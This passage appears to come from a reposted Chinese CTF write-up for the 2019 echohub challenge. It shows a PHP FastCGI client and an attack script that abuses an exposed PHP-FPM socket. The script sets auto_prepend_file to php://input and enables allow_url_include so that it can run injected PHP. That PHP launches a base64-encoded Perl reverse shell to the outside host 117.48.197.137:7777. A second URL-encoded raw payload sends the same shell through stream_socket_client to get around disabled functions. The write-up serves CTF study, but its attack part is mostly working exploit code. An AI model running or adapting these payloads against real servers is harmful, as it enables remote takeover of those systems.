    		       . chr( $requestId & 0xFF )        /* requestIdB0 */
    		       . chr( ( $clen >> 8 ) & 0xFF )     /* contentLengthB1 */
    		       . chr( $clen & 0xFF )             /* contentLengthB0 */
    		       . chr( 0 )                        /* paddingLength */
    		       . chr( 0 )                        /* reserved */
    		       . $content;                     /* content */
    	}
    
    	/**
    	 * Build an FastCGI Name value pair
    	 *
    	 * @param String $name Name
    	 * @param String $value Value
    	 *
    	 * @return String FastCGI Name value pair
    	 */
    	private function buildNvpair( $name, $value ) {
    		$nlen = strlen( $name );
    		$vlen = strlen( $value );
    		if ( $nlen < 128 ) {
    			/* nameLengthB0 */
    			$nvpair = chr( $nlen );
    		} else {
    			/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
    			$nvpair = chr( ( $nlen >> 24 ) | 0x80 ) . chr( ( $nlen >> 16 ) & 0xFF ) . chr( ( $nlen >> 8 ) & 0xFF ) . chr( $nlen & 0xFF );
    		}
    		if ( $vlen < 128 ) {
    			/* valueLengthB0 */
    			$nvpair .= chr( $vlen );
    		} else {
    			/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
    			$nvpair .= chr( ( $vlen >> 24 ) | 0x80 ) . chr( ( $vlen >> 16 ) & 0xFF ) . chr( ( $vlen >> 8 ) & 0xFF ) . chr( $vlen & 0xFF );
    		}
    
    		/* nameData & valueData */
    
    		return $nvpair . $name . $value;
    	}
    
    	/**
    	 * Read a set of FastCGI Name value pairs
    	 *
    	 * @param String $data Data containing the set of FastCGI NVPair
    	 *
    	 * @return array of NVPair
    	 */
    	private function readNvpair( $data, $length = null ) {
    		$array = array();
    		if ( $length === null ) {
    			$length = strlen( $data );
    		}
    		$p = 0;
    		while ( $p != $length ) {
    			$nlen = ord( $data{$p ++} );
    			if ( $nlen >= 128 ) {
    				$nlen = ( $nlen & 0x7F << 24 );
    				$nlen |= ( ord( $data{$p ++} ) << 16 );
    				$nlen |= ( ord( $data{$p ++} ) << 8 );
    				$nlen |= ( ord( $data{$p ++} ) );
    			}
    			$vlen = ord( $data{$p ++} );
    			if ( $vlen >= 128 ) {
    				$vlen = ( $nlen & 0x7F << 24 );
    				$vlen |= ( ord( $data{$p ++} ) << 16 );
    				$vlen |= ( ord( $data{$p ++} ) << 8 );
    				$vlen |= ( ord( $data{$p ++} ) );
    			}
    			$array[ substr( $data, $p, $nlen ) ] = substr( $data, $p + $nlen, $vlen );
    			$p                                   += ( $nlen + $vlen );
    		}
    
    		return $array;
    	}
    
    	/**
    	 * Decode a FastCGI Packet
    	 *
    	 * @param String $data String containing all the packet
    	 *
    	 * @return array
    	 */
    	private function decodePacketHeader( $data ) {
    		$ret                  = array();
    		$ret['version']       = ord( $data{0} );
    		$ret['type']          = ord( $data{1} );
    		$ret['requestId']     = ( ord( $data{2} ) << 8 ) + ord( $data{3} );
    		$ret['contentLength'] = ( ord( $data{4} ) << 8 ) + ord( $data{5} );
    		$ret['paddingLength'] = ord( $data{6} );
    		$ret['reserved']      = ord( $data{7} );
    
    		return $ret;
    	}
    
    	/**
    	 * Read a FastCGI Packet
    	 *
    	 * @return array
    	 */
    	private function readPacket() {
    		if ( $packet = fread( $this->_sock, self::HEADER_LEN ) ) {
    			$resp            = $this->decodePacketHeader( $packet );
    			$resp['content'] = '';
    			if ( $resp['contentLength'] ) {
    				$len = $resp['contentLength'];
    				while ( $len && ( $buf = fread( $this->_sock, $len ) ) !== false ) {
    					$len             -= strlen( $buf );
    					$resp['content'] .= $buf;
    				}
    			}
    			if ( $resp['paddingLength'] ) {
    				$buf = fread( $this->_sock, $resp['paddingLength'] );
    			}
    
    			return $resp;
    		} else {
    			return false;
    		}
    	}
    
    	/**
    	 * Get Informations on the FastCGI application
    	 *
    	 * @param array $requestedInfo information to retrieve
    	 *
    	 * @return array
    	 */
    	public function getValues( array $requestedInfo ) {
    		$this->connect();
    		$request = '';
    		foreach ( $requestedInfo as $info ) {
    			$request .= $this->buildNvpair( $info, '' );
    		}
    		fwrite( $this->_sock, $this->buildPacket( self::GET_VALUES, $request, 0 ) );
    		$resp = $this->readPacket();
    		if ( $resp['type'] == self::GET_VALUES_RESULT ) {
    			return $this->readNvpair( $resp['content'], $resp['length'] );
    		} else {
    			throw new \Exception( 'Unexpected response type, expecting GET_VALUES_RESULT' );
    		}
    	}
    
    	/**
    	 * Execute a request to the FastCGI application
    	 *
    	 * @param array $params Array of parameters
    	 * @param String $stdin Content
    	 *
    	 * @return String
    	 */
    	public function request( array $params, $stdin ) {
    		$id = $this->async_request( $params, $stdin );
    
    		return $this->wait_for_response( $id );
    	}
    
    	/**
    	 * Execute a request to the FastCGI application asyncronously
    	 *
    	 * This sends request to application and returns the assigned ID for that request.
    	 *
    	 * You should keep this id for later use with wait_for_response(). Ids are chosen randomly
    	 * rather than seqentially to guard against false-positives when using persistent sockets.
    	 * In that case it is possible that a delayed response to a request made by a previous script
    	 * invocation comes back on this socket and is mistaken for response to request made with same ID
    	 * during this request.
    	 *
    	 * @param array $params Array of parameters
    	 * @param String $stdin Content
    	 *
    	 * @return Integer
    	 */
    	public function async_request( array $params, $stdin ) {
    		$this->connect();
    		// Pick random number between 1 and max 16 bit unsigned int 65535
    		$id = mt_rand( 1, ( 1 << 16 ) - 1 );
    		// Using persistent sockets implies you want them keept alive by server!
    		$keepAlive     = intval( $this->_keepAlive || $this->_persistentSocket );
    		$request       = $this->buildPacket( self::BEGIN_REQUEST
    			, chr( 0 ) . chr( self::RESPONDER ) . chr( $keepAlive ) . str_repeat( chr( 0 ), 5 )
    			, $id
    		);
    		$paramsRequest = '';
    		foreach ( $params as $key => $value ) {
    			$paramsRequest .= $this->buildNvpair( $key, $value, $id );
    		}
    		if ( $paramsRequest ) {
    			$request .= $this->buildPacket( self::PARAMS, $paramsRequest, $id );
    		}
    		$request .= $this->buildPacket( self::PARAMS, '', $id );
    		if ( $stdin ) {
    			$request .= $this->buildPacket( self::STDIN, $stdin, $id );
    		}
    		$request .= $this->buildPacket( self::STDIN, '', $id );
    		if ( fwrite( $this->_sock, $request ) === false || fflush( $this->_sock ) === false ) {
    			$info = stream_get_meta_data( $this->_sock );
    			if ( $info['timed_out'] ) {
    				throw new TimedOutException( 'Write timed out' );
    			}
    			// Broken pipe, tear down so future requests might succeed
    			fclose( $this->_sock );
    			throw new \Exception( 'Failed to write request to socket' );
    		}
    		$this->_requests[ $id ] = array(
    			'state'    => self::REQ_STATE_WRITTEN,
    			'response' => null
    		);
    
    		return $id;
    	}
    
    	/**
    	 * Blocking call that waits for response to specific request
    	 *
    	 * @param Integer $requestId
    	 * @param Integer $timeoutMs [optional] the number of milliseconds to wait. Defaults to the ReadWriteTimeout value set.
    	 *
    	 * @return string  response body
    	 */
    	public function wait_for_response( $requestId, $timeoutMs = 0 ) {
    		if ( ! isset( $this->_requests[ $requestId ] ) ) {
    			throw new \Exception( 'Invalid request id given' );
    		}
    		// If we already read the response during an earlier call for different id, just return it
    		if ( $this->_requests[ $requestId ]['state'] == self::REQ_STATE_OK
    		     || $this->_requests[ $requestId ]['state'] == self::REQ_STATE_ERR
    		) {
    			return $this->_requests[ $requestId ]['response'];
    		}
    		if ( $timeoutMs > 0 ) {
    			// Reset timeout on socket for now
    			$this->set_ms_timeout( $timeoutMs );
    		} else {
    			$timeoutMs = $this->_readWriteTimeout;
    		}
    		// Need to manually check since we might do several reads none of which timeout themselves
    		// but still not get the response requested
    		$startTime = microtime( true );
    		do {
    			$resp = $this->readPacket();
    			if ( $resp['type'] == self::STDOUT || $resp['type'] == self::STDERR ) {
    				if ( $resp['type'] == self::STDERR ) {
    					$this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_ERR;
    				}
    				$this->_requests[ $resp['requestId'] ]['response'] .= $resp['content'];
    			}
    			if ( $resp['type'] == self::END_REQUEST ) {
    				$this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_OK;
    				if ( $resp['requestId'] == $requestId ) {
    					break;
    				}
    			}
    			if ( microtime( true ) - $startTime >= ( $timeoutMs * 1000 ) ) {
    				// Reset
    				$this->set_ms_timeout( $this->_readWriteTimeout );
    				throw new \Exception( 'Timed out' );
    			}
    		} while ( $resp );
    		if ( ! is_array( $resp ) ) {
    			$info = stream_get_meta_data( $this->_sock );
    			// We must reset timeout but it must be AFTER we get info
    			$this->set_ms_timeout( $this->_readWriteTimeout );
    			if ( $info['timed_out'] ) {
    				throw new TimedOutException( 'Read timed out' );
    			}
    			if ( $info['unread_bytes'] == 0
    			     && $info['blocked']
    			     && $info['eof'] ) {
    				throw new ForbiddenException( 'Not in white list. Check listen.allowed_clients.' );
    			}
    			throw new \Exception( 'Read failed' );
    		}
    		// Reset timeout
    		$this->set_ms_timeout( $this->_readWriteTimeout );
    		switch ( ord( $resp['content']{4} ) ) {
    			case self::CANT_MPX_CONN:
    				throw new \Exception( 'This app can\'t multiplex [CANT_MPX_CONN]' );
    				break;
    			case self::OVERLOADED:
    				throw new \Exception( 'New request rejected; too busy [OVERLOADED]' );
    				break;
    			case self::UNKNOWN_ROLE:
    				throw new \Exception( 'Role value not known [UNKNOWN_ROLE]' );
    				break;
    			case self::REQUEST_COMPLETE:
    				return $this->_requests[ $requestId ]['response'];
    		}
    	}
    }
    
    $client    = new Client( 'tcp://127.0.0.1:9000', - 1 );
    #$client    = new Client( 'unix:///run/php/php7.3-fpm.sock', - 1 );
    $php_value = "auto_prepend_file = php://input";
    $filepath  = '/var/www/html/index.php';
    $shellcode = base64_encode( 'perl -e \'use Socket;$i="117.48.197.137";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' );
    $content   = "<?php system(base64_decode('$shellcode'));exit();?>";
    echo $client->request(
    	array(
    		'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    		'REQUEST_METHOD'    => 'POST',
    		'SCRIPT_FILENAME'   => $filepath,
    		'SERVER_SOFTWARE'   => 'php/fcgiclient',
    		'REMOTE_ADDR'       => '127.0.0.1',
    		'REMOTE_PORT'       => '9985',
    		'SERVER_ADDR'       => '127.0.0.1',
    		'SERVER_PORT'       => '80',
    		'SERVER_NAME'       => 'mag-tured',
    		'SERVER_PROTOCOL'   => 'HTTP/1.1',
    		'CONTENT_TYPE'      => 'application/x-www-form-urlencoded',
    		'CONTENT_LENGTH'    => strlen( $content ),
    		'PHP_VALUE'         => $php_value,
    		'PHP_ADMIN_VALUE'   => 'allow_url_include = On'
    	),
    	$content
    );

    搭建nginx和fpm,并通过tcp://127.0.0.1:9000进行通讯,运行FPM攻击脚本,并使用tcpdump抓取攻击数据包

    CTF 2019 Mywebsql Echohub WriteUp

    利用16进制的RAW转换并进行url编码:

    function hexToStr( $hex ) {
    	$str = "";
    	for ( $i = 0; $i < strlen( $hex ) - 1; $i += 2 ) {
    		$str .= chr( hexdec( $hex[ $i ] . $hex[ $i + 1 ] ) );
    	}
    
    	return $str;
    }
    
    $str = '0101b0720008000000010000000000000......00000000';
    var_dump( urlencode( hexToStr( $str ) ) );

    这里最后选择未被禁用的stream_socket_client函数和FPM进行通讯

    $shellcode = '$f = stream_socket_client("unix:///run/php/php7.3-fpm.sock", $errno, $errstr,3);echo 111;$payload = urldecode("%01%01%B0r%00%08%00%00%00%01%00%00%00%00%00%00%01%04%B0r%01%87%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%0F%0ESERVER_SOFTWAREphp%2Ffcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMEmag-tured%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTENT_TYPEapplication%2Fx-www-form-urlencoded%0E%03CONTENT_LENGTH341%09%1FPHP_VALUEauto_prepend_file+%3D+php%3A%2F%2Finput%0F%16PHP_ADMIN_VALUEallow_url_include+%3D+On%01%04%B0r%00%00%00%00%01%05%B0r%01U%00%00%3C%3Fphp+system%28base64_decode%28%27cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTE3LjQ4LjE5Ny4xMzciOyRwPTc3Nzc7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwc*0b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI%2BJlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307Jw%3D%3D%27%29%29%3Bexit%28%29%3B%3F%3E%01%05%B0r%00%00%00%00");echo 222;stream_socket_sendto($f,$payload);';

    此时便获得了一个不受php.ini限制的shell,获取去flag的方式和第一个题目此时一致。

    参考

    https://blog.csdn.net/qq_22863733/article/details/80349120

    https://www.zhaoj.in/read-5479.html

    https://codingstandards.iteye.com/blog/836588

    https://github.com/sixstars/starctf2019/tree/master/web-echohub


    以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

    查看所有标签

    猜你喜欢:

    本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

    How to Think About Algorithms

    How to Think About Algorithms

    Jeff Edmonds / Cambridge University Press / 2008-05-19 / USD 38.99

    HOW TO THINK ABOUT ALGORITHMS There are many algorithm texts that provide lots of well-polished code and proofs of correctness. Instead, this one presents insights, notations, and analogies t......一起来看看 《How to Think About Algorithms》 这本书的介绍吧!

    RGB转16进制工具
    RGB转16进制工具

    RGB HEX 互转工具

    图片转BASE64编码
    图片转BASE64编码

    在线图片转Base64编码工具

    XML 在线格式化
    XML 在线格式化

    在线 XML 格式化压缩工具